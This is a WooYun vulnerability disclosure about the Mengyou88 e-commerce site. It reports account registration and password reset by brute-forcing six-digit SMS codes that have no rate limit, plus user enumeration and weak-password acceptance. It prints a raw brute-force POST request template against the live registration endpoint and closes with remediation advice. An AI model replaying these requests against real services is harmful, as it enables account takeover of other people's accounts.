当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093932

漏洞标题:盟友88电商平台任意用户注册与任意用户密码重置漏洞打包

相关厂商:盟友88

漏洞作者: sm0nk

提交时间:2015-01-26 00:07

修复时间:2015-03-12 00:08

公开时间:2015-03-12 00:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:18

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

盟友88是一家集商铺推广与生活消费为一体的综合性网站。其主要业务跨越B2B(business to business,商家对商家)、B2C(Business-to-Consumer商家对消费者)两大部分。
客服人员说郑州已经开始正常运营了。。。
业务逻辑设计缺陷导致
1.任意用户注册
2.任意用户密码重置
3.批量检测用户是否存在
4.弱口令密码检测(123456)

详细说明:

1.任意用户注册
测试帐号
18888888888
18899999999
http://passport.mengyou88.com/register
由于注册的手机验证码是6位数字,并且没有时间和次数锁定,所以可以对vcode进行暴力破解,从100000到999999依次遍历,百分百能够得到验证码。

POST /register HTTP/1.1
Host: passport.mengyou88.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://passport.mengyou88.com/register
Content-Length: 47
Cookie: ASP.NET_SessionId=vv2tttqsqimw0dktll5ot235; Bianligou_CheckKey=086869CB8AF5FCACA7666518DCF50894; Bianligou_SCID=0; Bianligou_SCNUM=0; Bianligou_SCKEY=51992A6D13D023F91D3167E977D1B6D4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
mobile=18888888888&passwd=test1234&vcode=111111


六位数字短信验证码

0.jpg


18899999999手机帐号注册

3.jpg


测试帐号18888888888、18899999999 登录密码均为test1234

11.jpg


12.jpg


2.任意用户密码重置漏洞
http://passport.mengyou88.com/getpass

13.jpg


14.jpg


同理,爆破六位数字短信验证码

20.jpg


21.jpg


第四步虽然显示抱歉,处理您的请求时出错。但是已经可以使用新密码就行登录了。。。
已经可以用wooyun这个密码进行登录了,如图

23.jpg


3.批量检测用户是否存在
找回密码处,没有对每个账户的唯一性以及验证码校验导致遍历用户是否存在

账户任意遍历1.jpg


账户任意遍历2.jpg


4.弱口令检测,存在暴力破解用户命的风险
可以用123456密码正常注册且登录

4.jpg


7.jpg


漏洞证明:

见详细说明

POST /register HTTP/1.1
Host: passport.mengyou88.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://passport.mengyou88.com/register
Content-Length: 47
Cookie: ASP.NET_SessionId=vv2tttqsqimw0dktll5ot235; Bianligou_CheckKey=086869CB8AF5FCACA7666518DCF50894; Bianligou_SCID=0; Bianligou_SCNUM=0; Bianligou_SCKEY=51992A6D13D023F91D3167E977D1B6D4
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
mobile=18888888888&passwd=test1234&vcode=$111111$


11.jpg


12.jpg

修复方案:

针对任意用户注册&密码重置漏洞&批量检测用户存在否解决方法如下:
a.增加验证码,使之登录失败一次,验证码变换一次。
b.同一用户如果10分钟内登录失败6次,禁用此用户登录2小时。
针对弱口令
a.增强开发人员的安全意识
b.注册用户时,就避免存在123456这样的弱口令(满足密码复杂度要求)
建议SDL的同时关注以下:
a.用户的输入合法否
b.业务数据篡改
c.身份认证(平行权限与垂直权限等)
d.验证码安全机制
e.安全接口调用等
f.代码审计(函数、变量etc)
。。。
如果电商模式成熟建议学习阿里京东等备建自己的安全团队,电商平台业务数据和用户数据至关重要。

版权声明:转载请注明来源 sm0nk@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝